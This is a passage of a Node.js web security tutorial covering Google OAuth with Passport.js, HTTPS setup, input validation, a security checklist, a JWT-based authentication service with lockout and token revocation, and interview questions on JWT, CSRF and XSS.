User Your App Google │ │ │ │ Click │ │ │ "Login with │ │ │ Google" │ │ │──────────────►│ │ │ │ │ │ Redirect to Google's login │ │◄──────────────│ │ │ │ │ │ Login at Google │ │────────────────────────────────►│ │ │ │ │ Google redirects back with CODE │ │◄────────────────────────────────│ │ │ │ │ Send code │ │ │──────────────►│ │ │ │ Exchange code │ │ │ for tokens │ │ │────────────────►│ │ │ │ │ │ Access token │ │ │◄────────────────│ │ │ │ │ │ Get user info │ │ │────────────────►│ │ │ │ │ │ { name, email } │ │◄────────────────│ │ │ │ │ Logged in! │ │ │◄──────────────│ │

Implementation with Passport.js

// npm install passport passport-google-oauth20 const passport = require('passport'); const GoogleStrategy = require('passport-google-oauth20').Strategy; passport.use(new GoogleStrategy({ clientID: process.env.GOOGLE_CLIENT_ID, clientSecret: process.env.GOOGLE_CLIENT_SECRET, callbackURL: '/auth/google/callback', }, async (accessToken, refreshToken, profile, done) => { try { // Find or create user in your database let user = await User.findOne({ googleId: profile.id }); if (!user) { user = await User.create({ googleId: profile.id, name: profile.displayName, email: profile.emails[0].value, avatar: profile.photos[0].value, }); } done(null, user); } catch (err) { done(err, null); } } )); // Routes app.get('/auth/google', passport.authenticate('google', { scope: ['profile', 'email'] }) ); app.get('/auth/google/callback', passport.authenticate('google', { failureRedirect: '/login' }), (req, res) => { // Generate your own JWT const token = generateAccessToken(req.user); // Redirect to frontend with token res.redirect(`${process.env.FRONTEND_URL}/auth/callback?token=${token}`); } );

15. HTTPS & TLS

HTTP = Data sent in plain text — anyone on the network can read it HTTPS = Data encrypted with TLS — encrypted in transit WHY HTTPS MATTERS: • Without HTTPS, passwords, tokens, and data travel as plain text • Anyone on the same WiFi can intercept (man-in-the-middle attack) • Without HTTPS, browsers block certain features (geolocation, camera, etc.)
// Creating an HTTPS server in Node.js const https = require('https'); const fs = require('fs'); const express = require('express'); const app = express(); const options = { key: fs.readFileSync('./certs/private-key.pem'), cert: fs.readFileSync('./certs/certificate.pem'), }; https.createServer(options, app).listen(443, () => { console.log('HTTPS server running on port 443'); }); // In production, you typically use a REVERSE PROXY (Nginx, Caddy) // that handles HTTPS/TLS termination, and your Node.js app runs on HTTP internally // Nginx (HTTPS :443) → Node.js (HTTP :3000) // Force HTTPS redirect app.use((req, res, next) => { if (req.headers['x-forwarded-proto'] !== 'https' && process.env.NODE_ENV === 'production') { return res.redirect(301, `https://${req.hostname}${req.url}`); } next(); }); // Trust proxy (when behind Nginx/load balancer) app.set('trust proxy', 1); // Trust first proxy

16. Input Sanitization

// npm install express-validator const { body, param, query, validationResult } = require('express-validator'); // Validate AND sanitize app.post('/api/users', [ body('name') .trim() // Remove whitespace .notEmpty().withMessage('Name is required') .isLength({ min: 2, max: 50 }) .escape(), // HTML-encode special characters body('email') .isEmail().withMessage('Invalid email') .normalizeEmail(), // Lowercase, remove dots in Gmail body('age') .optional() .isInt({ min: 13, max: 120 }) .toInt(), // Convert to integer body('website') .optional() .isURL({ protocols: ['https'] }) .withMessage('Must be an HTTPS URL'), body('role') .optional() .isIn(['user', 'admin']) .withMessage('Role must be user or admin'), ], (req, res) => { const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ status: 'error', errors: errors.array().map(e => ({ field: e.path, message: e.msg, })), }); } // req.body is now validated and sanitized // ... }); // Also sanitize params and query app.get('/api/users/:id', param('id').isMongoId().withMessage('Invalid user ID'), query('fields').optional().trim().escape(), (req, res) => { /* ... */ } );

17. Security Best Practices Checklist

Authentication: ✅ Hash passwords with bcrypt (cost factor 12+) or argon2 ✅ Use JWT with short expiration + refresh tokens ✅ Store refresh tokens in httpOnly cookies ✅ Implement account lockout after N failed attempts ✅ Use HTTPS everywhere ✅ Generate strong secrets (256+ bits) Input Handling: ✅ Validate all input (type, length, format) ✅ Sanitize output (escape HTML entities) ✅ Use parameterized queries (prevent SQL injection) ✅ Use express-mongo-sanitize (prevent NoSQL injection) ✅ Limit request body size: express.json({ limit: '10kb' }) Headers & Cookies: ✅ Use Helmet.js for security headers ✅ Set Content-Security-Policy ✅ Cookies: httpOnly, secure, sameSite ✅ Enable HSTS API Security: ✅ Rate limit all endpoints ✅ Stricter limits on auth endpoints ✅ Configure CORS properly (no wildcard in production) ✅ Don't expose stack traces in production errors ✅ Don't expose sensitive data in responses Dependencies: ✅ Run npm audit regularly ✅ Keep dependencies updated ✅ Use package-lock.json Environment: ✅ Never commit .env files or secrets to git ✅ Use different secrets for dev/staging/production ✅ Validate required env vars at startup

18. Real-World Implementation

Complete Auth System

// auth.service.js — Complete authentication service const jwt = require('jsonwebtoken'); const bcrypt = require('bcrypt'); const crypto = require('crypto'); class AuthService { constructor(userModel, redisClient, config) { this.User = userModel; this.redis = redisClient; this.config = config; } async register({ name, email, password }) { const existing = await this.User.findOne({ email }); if (existing) throw new ConflictError('Email already registered'); const hashedPassword = await bcrypt.hash(password, 12); const user = await this.User.create({ name, email, password: hashedPassword, }); return this.#generateTokens(user); } async login({ email, password }) { // Check lockout const lockKey = `lockout:${email}`; const attempts = parseInt(await this.redis.get(lockKey) || '0'); if (attempts >= 5) { const ttl = await this.redis.ttl(lockKey); throw new TooManyRequestsError( `Account locked. Try again in ${Math.ceil(ttl / 60)} minutes.` ); } const user = await this.User.findOne({ email }).select('+password'); if (!user || !(await bcrypt.compare(password, user.password))) { await this.redis.incr(lockKey); await this.redis.expire(lockKey, 900); throw new UnauthorizedError('Invalid credentials'); } await this.redis.del(lockKey); return this.#generateTokens(user); } async refresh(refreshToken) { if (!refreshToken) throw new UnauthorizedError('No refresh token'); const decoded = jwt.verify(refreshToken, this.config.refreshSecret); // Check if token is blacklisted const isBlacklisted = await this.redis.get(`bl:${decoded.jti}`); if (isBlacklisted) throw new UnauthorizedError('Token revoked'); // Blacklist old refresh token (rotation) await this.redis.set(`bl:${decoded.jti}`, '1', { EX: decoded.exp - Math.floor(Date.now() / 1000) }); const user = await this.User.findById(decoded.userId); if (!user) throw new UnauthorizedError('User not found'); return this.#generateTokens(user); } async logout(refreshToken) { if (!refreshToken) return; try { const decoded = jwt.verify(refreshToken, this.config.refreshSecret); // Blacklist the refresh token const ttl = decoded.exp - Math.floor(Date.now() / 1000); await this.redis.set(`bl:${decoded.jti}`, '1', { EX: ttl }); } catch { // Token already expired or invalid — that's fine } } #generateTokens(user) { const accessToken = jwt.sign( { userId: user._id, role: user.role }, this.config.accessSecret, { expiresIn: '15m' } ); const jti = crypto.randomUUID(); const refreshToken = jwt.sign( { userId: user._id, jti }, this.config.refreshSecret, { expiresIn: '7d' } ); return { accessToken, refreshToken, user: { id: user._id, name: user.name, email: user.email, role: user.role }, }; } } module.exports = AuthService;

19. Interview Questions

Q1: How does JWT work? Explain its structure.

Answer: JWT has three Base64URL-encoded parts separated by dots: Header (algorithm, type), Payload (claims/data), and Signature (HMAC or RSA of header+payload). The server signs the token with a secret. To verify, it recomputes the signature and compares. JWT is NOT encrypted — anyone can decode it — but the signature prevents tampering.

Q2: What is CSRF and how do you prevent it?

Answer: CSRF tricks an authenticated user into performing unwanted actions by exploiting the browser's automatic cookie-sending behavior. A malicious site can submit forms or make requests to your site, and the browser attaches the user's cookies automatically. Prevention: (1) SameSite cookie attribute (Strict/Lax), (2) CSRF tokens (synchronized token pattern), (3) Check Origin/Referer headers, (4) Use Authorization header instead of cookies for APIs.

Q3: What is XSS and how do you prevent it?

Answer: XSS injects malicious JavaScript into web pages that runs in other users' browsers. Three types: Stored (saved in DB), Reflected (in URL), DOM-based (client-side). Prevention: (1) Escape all user output (HTML entities), (2) Content-Security-Policy header, (3) httpOnly cookies, (4) Input sanitization with DOMPurify, (5) Use textContent instead of innerHTML.

Q4: Session-based vs Token-based authentication — pros and cons?

Answer: Sessions are stateful (stored on server), easily revocable, but hard to scale across servers. JWT is stateless (stored on client), scales easily (any server can verify), but can't be instantly revoked without a blacklist. Sessions are better for traditional web apps; JWT for SPAs, mobile apps, and microservices.

Q5: Where should you store JWT on the client?

Answer: Access token in memory (JavaScript variable) — safe from XSS and CSRF. Refresh token in httpOnly cookie — safe from XSS (JavaScript can't read it). Never use localStorage for tokens — vulnerable to XSS. When the page reloads, call the refresh endpoint to get a new access token.

Q6: How would you implement "login from all devices" revocation?

Answer: With JWT alone, you can't revoke tokens. Solutions: (1) Maintain a token blacklist in Redis (check on every request), (2) Use refresh token rotation — invalidate all refresh tokens for the user, (3) Store a "tokenVersion" on the user record — include it in JWT and verify it matches on every request.

Q7: What is a CSRF token? How does the double-submit cookie pattern work?

Answer: A CSRF token is a random value the server generates and gives to the client. The client must send it back with every state-changing request. In the double-submit pattern: the server sets a random value as a cookie AND sends it to the client. The client must send the same value in a request header. An attacker's cross-origin request can't read the cookie value to put it in the header, so the request fails.

Q8: Explain the difference between encryption and hashing.

Answer: Encryption is two-way (reversible with a key) — used for data that needs to be read later (storing credit cards, encrypting messages). Hashing is one-way (irreversible) — used for passwords (you only need to verify, not decrypt). bcrypt/argon2 are hashing algorithms with built-in salt and deliberate slowness to resist brute-force attacks.


Next Module: 06 - WebSocket & Real-Time — Real-time communication, chat systems, and live updates.